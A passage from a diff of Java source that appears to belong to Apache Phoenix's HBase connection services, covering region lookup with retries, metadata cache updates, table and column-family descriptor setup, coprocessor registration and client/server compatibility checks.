+        int retryCount = 0, maxRetryCount = 1;
+        boolean reload =false;
+        while (true) {
+            try {
+                // We could surface the package projected HConnectionImplementation.getNumberOfCachedRegionLocations
+                // to get the sizing info we need, but this would require a new class in the same package and a cast
+                // to this implementation class, so it's probably not worth it.
+                List<HRegionLocation> locations = Lists.newArrayList();
+                byte[] currentKey = HConstants.EMPTY_START_ROW;
+                do {
+                  HRegionLocation regionLocation = connection.getRegionLocation(
+                    TableName.valueOf(tableName), currentKey, reload);
+                  locations.add(regionLocation);
+                  currentKey = regionLocation.getRegionInfo().getEndKey();
+                } while (!Bytes.equals(currentKey, HConstants.EMPTY_END_ROW));
+                return locations;
+            } catch (org.apache.hadoop.hbase.TableNotFoundException e) {
+                String fullName = Bytes.toString(tableName);
+                throw new TableNotFoundException(SchemaUtil.getSchemaNameFromFullName(fullName), SchemaUtil.getTableNameFromFullName(fullName));
+            } catch (IOException e) {
+                if (retryCount++ < maxRetryCount) { // One retry, in case split occurs while navigating
+                    reload = true;
+                    continue;
+                }
+                throw new SQLExceptionInfo.Builder(SQLExceptionCode.GET_TABLE_REGIONS_FAIL)
+                    .setRootCause(e).build().buildException();
+            }
+        }
+    }
+
+    @Override
+    public PMetaData addTable(PTable table) throws SQLException {
+        try {
+            // If existing table isn't older than new table, don't replace
+            // If a client opens a connection at an earlier timestamp, this can happen
+            PTable existingTable = latestMetaData.getTable(new PTableKey(table.getTenantId(), table.getName().getString()));
+            if (existingTable.getTimeStamp() >= table.getTimeStamp()) {
+                return latestMetaData;
+            }
+        } catch (TableNotFoundException e) {
+        }
+        synchronized(latestMetaDataLock) {
+            latestMetaData = latestMetaData.addTable(table);
+            latestMetaDataLock.notifyAll();
+            return latestMetaData;
+        }
+    }
+
+    private static interface Mutator {
+        PMetaData mutate(PMetaData metaData) throws SQLException;
+    }
+
+    /**
+     * Ensures that metaData mutations are handled in the correct order
+     * @param tenantId TODO
+     */
+    private PMetaData metaDataMutated(PName tenantId, String tableName, long tableSeqNum, Mutator mutator) throws SQLException {
+        synchronized(latestMetaDataLock) {
+            PMetaData metaData = latestMetaData;
+            PTable table;
+            long endTime = System.currentTimeMillis() + DEFAULT_OUT_OF_ORDER_MUTATIONS_WAIT_TIME_MS;
+            while (true) {
+                try {
+                    try {
+                        table = metaData.getTable(new PTableKey(tenantId, tableName));
+                        /* If the table is at the prior sequence number, then we're good to go.
+                         * We know if we've got this far, that the server validated the mutations,
+                         * so we'd just need to wait until the other connection that mutated the same
+                         * table is processed.
+                         */
+                        if (table.getSequenceNumber() + 1 == tableSeqNum) {
+                            // TODO: assert that timeStamp is bigger that table timeStamp?
+                            metaData = mutator.mutate(metaData);
+                            break;
+                        } else if (table.getSequenceNumber() >= tableSeqNum) {
+                            logger.warn("Attempt to cache older version of " + tableName + ": current= " + table.getSequenceNumber() + ", new=" + tableSeqNum);
+                            break;
+                        }
+                    } catch (TableNotFoundException e) {
+                    }
+                    long waitTime = endTime - System.currentTimeMillis();
+                    // We waited long enough - just remove the table from the cache
+                    // and the next time it's used it'll be pulled over from the server.
+                    if (waitTime <= 0) {
+                        logger.warn("Unable to update meta data repo within " + (DEFAULT_OUT_OF_ORDER_MUTATIONS_WAIT_TIME_MS/1000) + " seconds for " + tableName);
+                        metaData = metaData.removeTable(tenantId, tableName);
+                        break;
+                    }
+                    latestMetaDataLock.wait(waitTime);
+                } catch (InterruptedException e) {
+                    throw new SQLExceptionInfo.Builder(SQLExceptionCode.INTERRUPTED_EXCEPTION)
+                        .setRootCause(e).build().buildException(); // FIXME
+                }
+            }
+            latestMetaData = metaData;
+            latestMetaDataLock.notifyAll();
+            return metaData;
+        }
+     }
+
+    @Override
+    public PMetaData addColumn(final PName tenantId, final String tableName, final List<PColumn> columns, final long tableTimeStamp, final long tableSeqNum, final boolean isImmutableRows) throws SQLException {
+        return metaDataMutated(tenantId, tableName, tableSeqNum, new Mutator() {
+            @Override
+            public PMetaData mutate(PMetaData metaData) throws SQLException {
+                try {
+                    return metaData.addColumn(tenantId, tableName, columns, tableTimeStamp, tableSeqNum, isImmutableRows);
+                } catch (TableNotFoundException e) {
+                    // The DROP TABLE may have been processed first, so just ignore.
+                    return metaData;
+                }
+            }
+        });
+     }
+
+    @Override
+    public PMetaData removeTable(PName tenantId, final String tableName) throws SQLException {
+        synchronized(latestMetaDataLock) {
+            latestMetaData = latestMetaData.removeTable(tenantId, tableName);
+            latestMetaDataLock.notifyAll();
+            return latestMetaData;
+        }
+    }
+
+    @Override
+    public PMetaData removeColumn(final PName tenantId, final String tableName, final String familyName, final String columnName, final long tableTimeStamp, final long tableSeqNum) throws SQLException {
+        return metaDataMutated(tenantId, tableName, tableSeqNum, new Mutator() {
+            @Override
+            public PMetaData mutate(PMetaData metaData) throws SQLException {
+                try {
+                    return metaData.removeColumn(tenantId, tableName, familyName, columnName, tableTimeStamp, tableSeqNum);
+                } catch (TableNotFoundException e) {
+                    // The DROP TABLE may have been processed first, so just ignore.
+                    return metaData;
+                }
+            }
+        });
+    }
+
+
+    @Override
+    public PhoenixConnection connect(String url, Properties info) throws SQLException {
+        return new PhoenixConnection(this, url, info, latestMetaData);
+    }
+
+
+    private HColumnDescriptor generateColumnFamilyDescriptor(Pair<byte[],Map<String,Object>> family, PTableType tableType) throws SQLException {
+        HColumnDescriptor columnDesc = new HColumnDescriptor(family.getFirst());
+        if (tableType != PTableType.VIEW) {
+            columnDesc.setKeepDeletedCells(true);
+            columnDesc.setDataBlockEncoding(SchemaUtil.DEFAULT_DATA_BLOCK_ENCODING);
+            for (Entry<String,Object> entry : family.getSecond().entrySet()) {
+                String key = entry.getKey();
+                Object value = entry.getValue();
+                columnDesc.setValue(key, value == null ? null : value.toString());
+            }
+        }
+        return columnDesc;
+    }
+
+    private void modifyColumnFamilyDescriptor(HColumnDescriptor hcd, Pair<byte[],Map<String,Object>> family) throws SQLException {
+      for (Entry<String, Object> entry : family.getSecond().entrySet()) {
+        String key = entry.getKey();
+        Object value = entry.getValue();
+        hcd.setValue(key, value == null ? null : value.toString());
+      }
+    }
+    
+    private static final String OLD_PACKAGE = "com.salesforce.";
+    private static final String NEW_PACKAGE = "org.apache.";
+    private static final String OLD_INDEXER_CLASS_NAME = "com.salesforce.hbase.index.Indexer";
+    
+    private HTableDescriptor generateTableDescriptor(byte[] tableName, HTableDescriptor existingDesc, PTableType tableType, Map<String,Object> tableProps, List<Pair<byte[],Map<String,Object>>> families, byte[][] splits) throws SQLException {
+        String defaultFamilyName = (String)tableProps.remove(PhoenixDatabaseMetaData.DEFAULT_COLUMN_FAMILY_NAME);                
+        HTableDescriptor descriptor = (existingDesc != null) ? new HTableDescriptor(existingDesc) : 
+          new HTableDescriptor(TableName.valueOf(tableName));
+        for (Entry<String,Object> entry : tableProps.entrySet()) {
+            String key = entry.getKey();
+            Object value = entry.getValue();
+            descriptor.setValue(key, value == null ? null : value.toString());
+        }
+        if (families.isEmpty()) {
+            if (tableType != PTableType.VIEW) {
+                byte[] defaultFamilyByes = defaultFamilyName == null ? QueryConstants.DEFAULT_COLUMN_FAMILY_BYTES : Bytes.toBytes(defaultFamilyName);
+                // Add dummy column family so we have key values for tables that 
+                HColumnDescriptor columnDescriptor = generateColumnFamilyDescriptor(new Pair<byte[],Map<String,Object>>(defaultFamilyByes,Collections.<String,Object>emptyMap()), tableType);
+                descriptor.addFamily(columnDescriptor);
+            }
+        } else {
+            for (Pair<byte[],Map<String,Object>> family : families) {
+                // If family is only in phoenix description, add it. otherwise, modify its property accordingly.
+                byte[] familyByte = family.getFirst();
+                if (descriptor.getFamily(familyByte) == null) {
+                    if (tableType == PTableType.VIEW) {
+                        String fullTableName = Bytes.toString(tableName);
+                        throw new ReadOnlyTableException(
+                                "The HBase column families for a read-only table must already exist",
+                                SchemaUtil.getSchemaNameFromFullName(fullTableName),
+                                SchemaUtil.getTableNameFromFullName(fullTableName),
+                                Bytes.toString(familyByte));
+                    }
+                    HColumnDescriptor columnDescriptor = generateColumnFamilyDescriptor(family, tableType);
+                    descriptor.addFamily(columnDescriptor);
+                } else {
+                    if (tableType != PTableType.VIEW) {
+                        modifyColumnFamilyDescriptor(descriptor.getFamily(familyByte), family);
+                    }
+                }
+            }
+        }
+        addCoprocessors(tableName, descriptor, tableType);
+        return descriptor;
+    }
+
+    private void addCoprocessors(byte[] tableName, HTableDescriptor descriptor, PTableType tableType) throws SQLException {
+        // The phoenix jar must be available on HBase classpath
+        try {
+            // Hack to detect that we're installing view on old SYSTEM.TABLE for conversion.
+            // In this case, we do not want to uninstall the old coprocessors.
+            boolean isOldSysTable = Bytes.compareTo(OLD_SYSTEM_TABLE_NAME_BYTES,tableName) == 0;
+            if (!descriptor.hasCoprocessor(ScanRegionObserver.class.getName())) {
+                if (!isOldSysTable) {
+                    descriptor.removeCoprocessor(ScanRegionObserver.class.getName().replace(NEW_PACKAGE, OLD_PACKAGE));
+                }
+                descriptor.addCoprocessor(ScanRegionObserver.class.getName(), null, 1, null);
+            }
+            if (!descriptor.hasCoprocessor(UngroupedAggregateRegionObserver.class.getName())) {
+                if (!isOldSysTable) {
+                    descriptor.removeCoprocessor(UngroupedAggregateRegionObserver.class.getName().replace(NEW_PACKAGE, OLD_PACKAGE));
+                }
+                descriptor.addCoprocessor(UngroupedAggregateRegionObserver.class.getName(), null, 1, null);
+            }
+            if (!descriptor.hasCoprocessor(GroupedAggregateRegionObserver.class.getName())) {
+                if (!isOldSysTable) {
+                    descriptor.removeCoprocessor(GroupedAggregateRegionObserver.class.getName().replace(NEW_PACKAGE, OLD_PACKAGE));
+                }
+                descriptor.addCoprocessor(GroupedAggregateRegionObserver.class.getName(), null, 1, null);
+            }
+            if (!descriptor.hasCoprocessor(ServerCachingEndpointImpl.class.getName())) {
+                if (!isOldSysTable) {
+                    descriptor.removeCoprocessor(ServerCachingEndpointImpl.class.getName().replace(NEW_PACKAGE, OLD_PACKAGE));
+                }
+                descriptor.addCoprocessor(ServerCachingEndpointImpl.class.getName(), null, 1, null);
+            }
+            
+            // Always try to remove, as this coprocessor doesn't exist anymore
+            descriptor.removeCoprocessor("com.salesforce.phoenix.join.HashJoiningRegionObserver");
+            // Remove indexing coprocessor if on VIEW or INDEX, as we may have added this by mistake in 2.x versions
+            if (tableType == PTableType.INDEX || tableType == PTableType.VIEW) {
+                if (!isOldSysTable) {
+                    descriptor.removeCoprocessor(Indexer.class.getName());
+                    descriptor.removeCoprocessor(OLD_INDEXER_CLASS_NAME);
+                }
+            }
+            // TODO: better encapsulation for this
+            // Since indexes can't have indexes, don't install our indexing coprocessor for indexes. Also,
+            // don't install on the metadata table until we fix the TODO there.
+            if ((tableType != PTableType.INDEX && tableType != PTableType.VIEW) && !SchemaUtil.isMetaTable(tableName) && !descriptor.hasCoprocessor(Indexer.class.getName())) {
+                if (!isOldSysTable) {
+                    descriptor.removeCoprocessor(OLD_INDEXER_CLASS_NAME);
+                }
+                Map<String, String> opts = Maps.newHashMapWithExpectedSize(1);
+                opts.put(CoveredColumnsIndexBuilder.CODEC_CLASS_NAME_KEY, PhoenixIndexCodec.class.getName());
+                Indexer.enableIndexing(descriptor, PhoenixIndexBuilder.class, opts);
+            }
+            
+            // Setup split policy on Phoenix metadata table to ensure that the key values of a Phoenix table
+            // stay on the same region.
+            if (SchemaUtil.isMetaTable(tableName)) {
+                descriptor.setValue(ConnectionQueryServicesImpl.UPGRADE_TO_3_0, Boolean.TRUE.toString());
+                if (!descriptor.hasCoprocessor(MetaDataEndpointImpl.class.getName())) {
+                    descriptor.removeCoprocessor(MetaDataEndpointImpl.class.getName().replace(NEW_PACKAGE, OLD_PACKAGE));
+                    descriptor.addCoprocessor(MetaDataEndpointImpl.class.getName(), null, 1, null);
+                }
+                if (!descriptor.hasCoprocessor(MetaDataRegionObserver.class.getName())) {
+                    descriptor.removeCoprocessor(MetaDataRegionObserver.class.getName().replace(NEW_PACKAGE, OLD_PACKAGE));
+                    descriptor.addCoprocessor(MetaDataRegionObserver.class.getName(), null, 2, null);
+                }
+            } else if (SchemaUtil.isSequenceTable(tableName)) {
+                if (!descriptor.hasCoprocessor(SequenceRegionObserver.class.getName())) {
+                    descriptor.addCoprocessor(SequenceRegionObserver.class.getName(), null, 1, null);
+                }
+            }
+        } catch (IOException e) {
+            throw ServerUtil.parseServerException(e);
+        }
+    }
+
+    private void ensureFamilyCreated(byte[] tableName, PTableType tableType , Pair<byte[],Map<String,Object>> family) throws SQLException {
+        HBaseAdmin admin = null;
+        SQLException sqlE = null;
+        try {
+            admin = new HBaseAdmin(config);
+            try {
+                HTableDescriptor existingDesc = admin.getTableDescriptor(tableName);
+                HColumnDescriptor oldDescriptor = existingDesc.getFamily(family.getFirst());
+                HColumnDescriptor columnDescriptor = null;
+
+                if (oldDescriptor == null) {
+                    if (tableType == PTableType.VIEW) {
+                        String fullTableName = Bytes.toString(tableName);
+                        throw new ReadOnlyTableException(
+                                "The HBase column families for a VIEW must already exist",
+                                SchemaUtil.getSchemaNameFromFullName(fullTableName),
+                                SchemaUtil.getTableNameFromFullName(fullTableName),
+                                Bytes.toString(family.getFirst()));
+                    }
+                    columnDescriptor = generateColumnFamilyDescriptor(family, tableType );
+                } else {
+                    columnDescriptor = new HColumnDescriptor(oldDescriptor);
+                    // Don't attempt to make any metadata changes for a VIEW
+                    if (tableType == PTableType.VIEW) {
+                        return;
+                    }
+                    modifyColumnFamilyDescriptor(columnDescriptor, family);
+                }
+                
+                if (columnDescriptor.equals(oldDescriptor)) {
+                    // Table already has family and it's the same.
+                    return;
+                }
+                admin.disableTable(tableName);
+                if (oldDescriptor == null) {
+                    admin.addColumn(tableName, columnDescriptor);
+                } else {
+                    admin.modifyColumn(tableName, columnDescriptor);
+                }
+                admin.enableTable(tableName);
+            } catch (org.apache.hadoop.hbase.TableNotFoundException e) {
+                sqlE = new SQLExceptionInfo.Builder(SQLExceptionCode.TABLE_UNDEFINED).setRootCause(e).build().buildException();
+            }
+        } catch (IOException e) {
+            sqlE = ServerUtil.parseServerException(e);
+        } finally {
+            try {
+                if (admin != null) {
+                    admin.close();
+                }
+            } catch (IOException e) {
+                if (sqlE == null) {
+                    sqlE = ServerUtil.parseServerException(e);
+                } else {
+                    sqlE.setNextException(ServerUtil.parseServerException(e));
+                }
+            } finally {
+                if (sqlE != null) {
+                    throw sqlE;
+                }
+            }
+        }
+    }
+    
+    /**
+     * 
+     * @param tableName
+     * @param splits
+     * @param modifyExistingMetaData TODO
+     * @param familyNames
+     * @return true if table was created and false if it already exists
+     * @throws SQLException
+     */
+    private HTableDescriptor ensureTableCreated(byte[] tableName, PTableType tableType , Map<String,Object> props, List<Pair<byte[],Map<String,Object>>> families, byte[][] splits, boolean modifyExistingMetaData) throws SQLException {
+        HBaseAdmin admin = null;
+        SQLException sqlE = null;
+        HTableDescriptor existingDesc = null;
+        boolean isMetaTable = SchemaUtil.isMetaTable(tableName);
+        boolean tableExist = true;
+        try {
+            logger.info("Found quorum: " + ZKConfig.getZKQuorumServersString(config));
+            admin = new HBaseAdmin(config);
+            try {
+                existingDesc = admin.getTableDescriptor(tableName);
+            } catch (org.apache.hadoop.hbase.TableNotFoundException e) {
+                tableExist = false;
+                if (tableType == PTableType.VIEW) {
+                    String fullTableName = Bytes.toString(tableName);
+                    throw new ReadOnlyTableException(
+                            "An HBase table for a VIEW must already exist",
+                            SchemaUtil.getSchemaNameFromFullName(fullTableName),
+                            SchemaUtil.getTableNameFromFullName(fullTableName));
+                }
+            }
+
+            HTableDescriptor newDesc = generateTableDescriptor(tableName, existingDesc, tableType , props, families, splits);
+            
+            if (!tableExist) {
+                /*
+                 * Remove the splitPolicy attribute due to an HBase bug (see below)
+                 */
+                if (isMetaTable) {
+                    newDesc.remove(HTableDescriptor.SPLIT_POLICY);
+                }
+                try {
+                    if (splits == null) {
+                        admin.createTable(newDesc);
+                    } else {
+                        admin.createTable(newDesc, splits);
+                    }
+                } catch (TableExistsException e) {
+                    // We can ignore this, as it just means that another client beat us
+                    // to creating the HBase metadata.
+                    return null;
+                }
+                if (isMetaTable) {
+                    checkClientServerCompatibility();
+                    /*
+                     * Now we modify the table to add the split policy, since we know that the client and
+                     * server and compatible. This works around a nasty, known HBase bug where if a split
+                     * policy class cannot be found on the server, the HBase table is left in a horrible
+                     * "ghost" state where it can't be used and can't be deleted without bouncing the master. 
+                     */
+                    newDesc.setValue(HTableDescriptor.SPLIT_POLICY, MetaDataSplitPolicy.class.getName());
+                    admin.disableTable(tableName);
+                    admin.modifyTable(tableName, newDesc);
+                    admin.enableTable(tableName);
+
+                    upgradeWhiteList = upgradeCoprocessorsTo3_0(admin, false);
+                }
+                return null;
+            } else {
+                if (!modifyExistingMetaData || existingDesc.equals(newDesc)) {
+                    // Table is already created. Note that the presplits are ignored in this case
+                    if (isMetaTable) {
+                        checkClientServerCompatibility();
+                    }
+                    return existingDesc;
+                }
+
+                if (isMetaTable) {
+                    checkClientServerCompatibility();
+                    // To allow clients to run the upgrade again, for example if more tables were added to white list
+                    if (!Boolean.TRUE.toString().equals(existingDesc.getValue(ConnectionQueryServicesImpl.UPGRADE_TO_3_0))) {
+                        upgradeWhiteList = upgradeCoprocessorsTo3_0(admin, true);
+                    }
+                }
+                         
+                // TODO: Take advantage of online schema change ability by setting "hbase.online.schema.update.enable" to true
+                admin.disableTable(tableName);
+                admin.modifyTable(tableName, newDesc);
+                admin.enableTable(tableName);
+                
+                return newDesc;
+            }
+
+        } catch (IOException e) {
+            sqlE = ServerUtil.parseServerException(e);
+        } finally {
+            try {
+                if (admin != null) {
+                    admin.close();
+                }
+            } catch (IOException e) {
+                if (sqlE == null) {
+                    sqlE = ServerUtil.parseServerException(e);
+                } else {
+                    sqlE.setNextException(ServerUtil.parseServerException(e));
+                }
+            } finally {
+                if (sqlE != null) {
+                    throw sqlE;
+                }
+            }
+        }
+        return null; // will never make it here
+    }
+
+    private static boolean isInvalidMutableIndexConfig(Long serverVersion) {
+        if (serverVersion == null) {
+            return false;
+        }
+        return !MetaDataUtil.decodeMutableIndexConfiguredProperly(serverVersion);
+    }
+    
+    private static boolean isCompatible(Long serverVersion) {
+        if (serverVersion == null) {
+            return false;
+        }
+        return MetaDataUtil.areClientAndServerCompatible(serverVersion);
+    }
+
+    private void checkClientServerCompatibility() throws SQLException {
+        StringBuilder buf = new StringBuilder("The following servers require an updated " + QueryConstants.DEFAULT_COPROCESS_PATH + " to be put in the classpath of HBase: ");
+        boolean isIncompatible = false;
+        int minHBaseVersion = Integer.MAX_VALUE;
+        try {
+            List<HRegionLocation> locations = this.getAllTableRegions(SYSTEM_CATALOG_NAME_BYTES);
+            Set<HRegionLocation> serverMap = Sets.newHashSetWithExpectedSize(locations.size());
+            TreeMap<byte[], HRegionLocation> regionMap = Maps.newTreeMap(Bytes.BYTES_COMPARATOR);
+            List<byte[]> regionKeys = Lists.newArrayListWithExpectedSize(locations.size());
+            for (HRegionLocation entry : locations) {
+                if (!serverMap.contains(entry)) {
+                    regionKeys.add(entry.getRegionInfo().getStartKey());
+                    regionMap.put(entry.getRegionInfo().getRegionName(), entry);
+                    serverMap.add(entry);
+                }
+            }
+
+            HTableInterface ht = this.getTable(PhoenixDatabaseMetaData.SYSTEM_CATALOG_NAME_BYTES);
+            final Map<byte[], Long> results =
+                    ht.coprocessorService(MetaDataService.class, null, null, new Batch.Call<MetaDataService,Long>() {
+                        @Override
+                        public Long call(MetaDataService instance) throws IOException {
+                            ServerRpcController controller = new ServerRpcController();
+                            BlockingRpcCallback<GetVersionResponse> rpcCallback =
+                                    new BlockingRpcCallback<GetVersionResponse>();
+                            GetVersionRequest.Builder builder = GetVersionRequest.newBuilder();
+                            
+                            instance.getVersion(controller, builder.build(), rpcCallback);
+                            if(controller.getFailedOn() != null) {
+                                throw controller.getFailedOn();
+                            }
+                            return rpcCallback.get().getVersion();
+                        }
+                    });
+            for (Map.Entry<byte[],Long> result : results.entrySet()) {
+                // This is the "phoenix.jar" is in-place, but server is out-of-sync with client case.
+                if (!isCompatible(result.getValue())) {
+                    isIncompatible = true;
+                    HRegionLocation name = regionMap.get(result.getKey());
+                    buf.append(name);
+                    buf.append(';');
+                }
+                hasInvalidIndexConfiguration |= isInvalidMutableIndexConfig(result.getValue());
+                if (minHBaseVersion > MetaDataUtil.decodeHBaseVersion(result.getValue())) {
+                    minHBaseVersion = MetaDataUtil.decodeHBaseVersion(result.getValue());
+                }
+            }
+            lowestClusterHBaseVersion = minHBaseVersion;
+        } catch (Throwable t) {
+            // This is the case if the "phoenix.jar" is not on the classpath of HBase on the region server
+            throw new SQLExceptionInfo.Builder(SQLExceptionCode.INCOMPATIBLE_CLIENT_SERVER_JAR).setRootCause(t)
+                .setMessage("Ensure that " + QueryConstants.DEFAULT_COPROCESS_PATH + " is put on the classpath of HBase in every region server: " + t.getMessage())
+                .build().buildException();
+        }
+        if (isIncompatible) {
+            buf.setLength(buf.length()-1);
+            throw new SQLExceptionInfo.Builder(SQLExceptionCode.OUTDATED_JARS).setMessage(buf.toString()).build().buildException();
+        }
+    }
+
+    /**
+     * Invoke meta data coprocessor with one retry if the key was found to not be in the regions
+     * (due to a table split)
+     */
+    private MetaDataMutationResult metaDataCoprocessorExec(byte[] tableKey,
+            Batch.Call<MetaDataService, MetaDataResponse> callable) throws SQLException {
+        try {
+            boolean retried = false;
+            while (true) {
+                if (retried) {
+                    connection.relocateRegion(
+                        TableName.valueOf(PhoenixDatabaseMetaData.SYSTEM_CATALOG_NAME_BYTES),
+                        tableKey);
+                }
+
+                HTableInterface ht = this.getTable(PhoenixDatabaseMetaData.SYSTEM_CATALOG_NAME_BYTES);
+                final Map<byte[], MetaDataResponse> results =
+                        ht.coprocessorService(MetaDataService.class, tableKey, tableKey, callable);
+                
+                assert(results.size() == 1);
+                MetaDataResponse result = results.values().iterator().next();
+                if (result.getReturnCode() == MetaDataProtos.MutationCode.TABLE_NOT_IN_REGION) {
+                    if (retried) return MetaDataMutationResult.constructFromProto(result);
+                    retried = true;
+                    continue;
+                }
+                return MetaDataMutationResult.constructFromProto(result);
+            }
+        } catch (IOException e) {
+            throw ServerUtil.parseServerException(e);
+        } catch (Throwable t) {
+            throw new SQLException(t);
+        }
+    }
+    
+    // Our property values are translated using toString, so we need to "string-ify" this.
+    private static final String TRUE_BYTES_AS_STRING = Bytes.toString(PDataType.TRUE_BYTES);
+
+    private void ensureViewIndexTableCreated(byte[] physicalTableName, Map<String,Object> tableProps, List<Pair<byte[],Map<String,Object>>> families, byte[][] splits, long timestamp) throws SQLException {
+        Long maxFileSize = (Long)tableProps.get(HTableDescriptor.MAX_FILESIZE);
+        if (maxFileSize == null) {
+            maxFileSize = this.config.getLong(HConstants.HREGION_MAX_FILESIZE, HConstants.DEFAULT_MAX_FILE_SIZE);
+        }
+        byte[] physicalIndexName = MetaDataUtil.getViewIndexPhysicalName(physicalTableName);
+        
+        int indexMaxFileSizePerc;
+        // Get percentage to use from table props first and then fallback to config
+        Integer indexMaxFileSizePercProp = (Integer)tableProps.remove(QueryServices.INDEX_MAX_FILESIZE_PERC_ATTRIB);
+        if (indexMaxFileSizePercProp == null) {
+            indexMaxFileSizePerc = config.getInt(QueryServices.INDEX_MAX_FILESIZE_PERC_ATTRIB, QueryServicesOptions.DEFAULT_INDEX_MAX_FILESIZE_PERC);
+        } else {
+            indexMaxFileSizePerc = indexMaxFileSizePercProp;
+        }
+        long indexMaxFileSize = maxFileSize * indexMaxFileSizePerc / 100;
+        tableProps.put(HTableDescriptor.MAX_FILESIZE, indexMaxFileSize);
+        tableProps.put(MetaDataUtil.IS_VIEW_INDEX_TABLE_PROP_NAME, TRUE_BYTES_AS_STRING);
+        HTableDescriptor desc = ensureTableCreated(physicalIndexName, PTableType.TABLE, tableProps, families, splits, false);
+        if (desc != null) {
+            if (!Boolean.TRUE.equals(PDataType.BOOLEAN.toObject(desc.getValue(MetaDataUtil.IS_VIEW_INDEX_TABLE_PROP_BYTES)))) {
+                String fullTableName = Bytes.toString(physicalIndexName);
+                throw new TableAlreadyExistsException(
+                        "Unable to create shared physical table for indexes on views.",
+                        SchemaUtil.getSchemaNameFromFullName(fullTableName),
+                        SchemaUtil.getTableNameFromFullName(fullTableName));
+            }
+        }
+    }
+
+
+    private boolean ensureViewIndexTableDropped(byte[] physicalTableName, long timestamp) throws SQLException {
+        byte[] physicalIndexName = MetaDataUtil.getViewIndexPhysicalName(physicalTableName);
+        HTableDescriptor desc = null;
+        HBaseAdmin admin = null;
+        boolean wasDeleted = false;
+        try {
+            admin = new HBaseAdmin(config);
+            try {
+                desc = admin.getTableDescriptor(physicalIndexName);
+                if (Boolean.TRUE.equals(PDataType.BOOLEAN.toObject(desc.getValue(MetaDataUtil.IS_VIEW_INDEX_TABLE_PROP_BYTES)))) {
+                    final ReadOnlyProps props = this.getProps();
+                    final boolean dropMetadata = props.getBoolean(DROP_METADATA_ATTRIB, DEFAULT_DROP_METADATA);
+                    if (dropMetadata) {
+                        admin.disableTable(physicalIndexName);
+                        admin.deleteTable(physicalIndexName);
+                        wasDeleted = true;
+                    }
+                }
+            } catch (org.apache.hadoop.hbase.TableNotFoundException ignore) {
+                // Ignore, as we may never have created a view index table
+            }
+        } catch (IOException e) {
+            throw ServerUtil.parseServerException(e); 
+        } finally {
+            try {
+                if (admin != null) admin.close();
+            } catch (IOException e) {
+                logger.warn("",e);
+            }
+        }
+        return wasDeleted;
+    }
+    
+    @Override
+    public MetaDataMutationResult createTable(final List<Mutation> tableMetaData, byte[] physicalTableName, PTableType tableType,
+            Map<String,Object> tableProps, final List<Pair<byte[],Map<String,Object>>> families, byte[][] splits) throws SQLException {
+        byte[][] rowKeyMetadata = new byte[3][];
+        Mutation m = MetaDataUtil.getPutOnlyTableHeaderRow(tableMetaData);
+        byte[] key = m.getRow();
+        SchemaUtil.getVarChars(key, rowKeyMetadata);
+        byte[] tenantIdBytes = rowKeyMetadata[PhoenixDatabaseMetaData.TENANT_ID_INDEX];
+        byte[] schemaBytes = rowKeyMetadata[PhoenixDatabaseMetaData.SCHEMA_NAME_INDEX];
+        byte[] tableBytes = rowKeyMetadata[PhoenixDatabaseMetaData.TABLE_NAME_INDEX];
+        byte[] tableName = physicalTableName != null ? physicalTableName : SchemaUtil.getTableNameAsBytes(schemaBytes, tableBytes);
+        if ((tableType == PTableType.VIEW && physicalTableName != null) || (tableType != PTableType.VIEW && physicalTableName == null)) {
+            // For views this will ensure that metadata already exists
+            ensureTableCreated(tableName, tableType, tableProps, families, splits, true);
+        }
+        ImmutableBytesWritable ptr = new ImmutableBytesWritable();
+        if (tableType == PTableType.INDEX && physicalTableName != null) { // Index on view
+            // Physical index table created up front for multi tenant
+            // TODO: if viewIndexId is Short.MIN_VALUE, then we don't need to attempt to create it
+            if (!MetaDataUtil.isMultiTenant(m, kvBuilder, ptr)) {
+                ensureViewIndexTableCreated(tenantIdBytes.length == 0 ? null : PNameFactory.newName(tenantIdBytes), physicalTableName, MetaDataUtil.getClientTimeStamp(m));
+            }
+        } else if (tableType == PTableType.TABLE && MetaDataUtil.isMultiTenant(m, kvBuilder, ptr)) { // Create view index table up front for multi tenant tables
+            ptr.set(QueryConstants.DEFAULT_COLUMN_FAMILY_BYTES);
+            MetaDataUtil.getMutationValue(m, PhoenixDatabaseMetaData.DEFAULT_COLUMN_FAMILY_NAME_BYTES, kvBuilder, ptr);
+            List<Pair<byte[],Map<String,Object>>> familiesPlusDefault = null;
+            for (Pair<byte[],Map<String,Object>> family : families) {
+                byte[] cf = family.getFirst();
+                if (Bytes.compareTo(cf, 0, cf.length, ptr.get(), ptr.getOffset(),ptr.getLength()) == 0) {
+                    familiesPlusDefault = families;
+                    break;
+                }
+            }
+            // Don't override if default family already present
+            if (familiesPlusDefault == null) {
+                byte[] defaultCF = ByteUtil.copyKeyBytesIfNecessary(ptr);
+                // Only use splits if table is salted, otherwise it may not be applicable
+                // Always add default column family, as we don't know in advance if we'll need it
+                familiesPlusDefault = Lists.newArrayList(families);
+                familiesPlusDefault.add(new Pair<byte[],Map<String,Object>>(defaultCF,Collections.<String,Object>emptyMap()));
+            }
+            ensureViewIndexTableCreated(tableName, tableProps, familiesPlusDefault, MetaDataUtil.isSalted(m, kvBuilder, ptr) ? splits : null, MetaDataUtil.getClientTimeStamp(m));
+        }
+        
+        byte[] tableKey = SchemaUtil.getTableKey(tenantIdBytes, schemaBytes, tableBytes);
+        MetaDataMutationResult result = metaDataCoprocessorExec(tableKey,
+            new Batch.Call<MetaDataService, MetaDataResponse>() {
+            @Override
+                    public MetaDataResponse call(MetaDataService instance) throws IOException {
+                        ServerRpcController controller = new ServerRpcController();
+                        BlockingRpcCallback<MetaDataResponse> rpcCallback =
+                                new BlockingRpcCallback<MetaDataResponse>();
+                        CreateTableRequest.Builder builder = CreateTableRequest.newBuilder();
+                        for (Mutation m : tableMetaData) {
+                            MutationProto mp = ProtobufUtil.toProto(m);
+                            builder.addTableMetadataMutations(mp.toByteString());
+                        }
+                        instance.createTable(controller, builder.build(), rpcCallback);
+                        if(controller.getFailedOn() != null) {
+                            throw controller.getFailedOn();
+                        }
+                        return rpcCallback.get();
+                    }
+        });
+        return result;
+    }
+
+    @Override
+    public MetaDataMutationResult getTable(final PName tenantId, final byte[] schemaBytes, final byte[] tableBytes,
+            final long tableTimestamp, final long clientTimestamp) throws SQLException {
+        final byte[] tenantIdBytes = tenantId == null ? ByteUtil.EMPTY_BYTE_ARRAY : tenantId.getBytes();
+        byte[] tableKey = SchemaUtil.getTableKey(tenantIdBytes, schemaBytes, tableBytes);
+        return metaDataCoprocessorExec(tableKey,
+            new Batch.Call<MetaDataService, MetaDataResponse>() {
+                @Override
+                public MetaDataResponse call(MetaDataService instance) throws IOException {
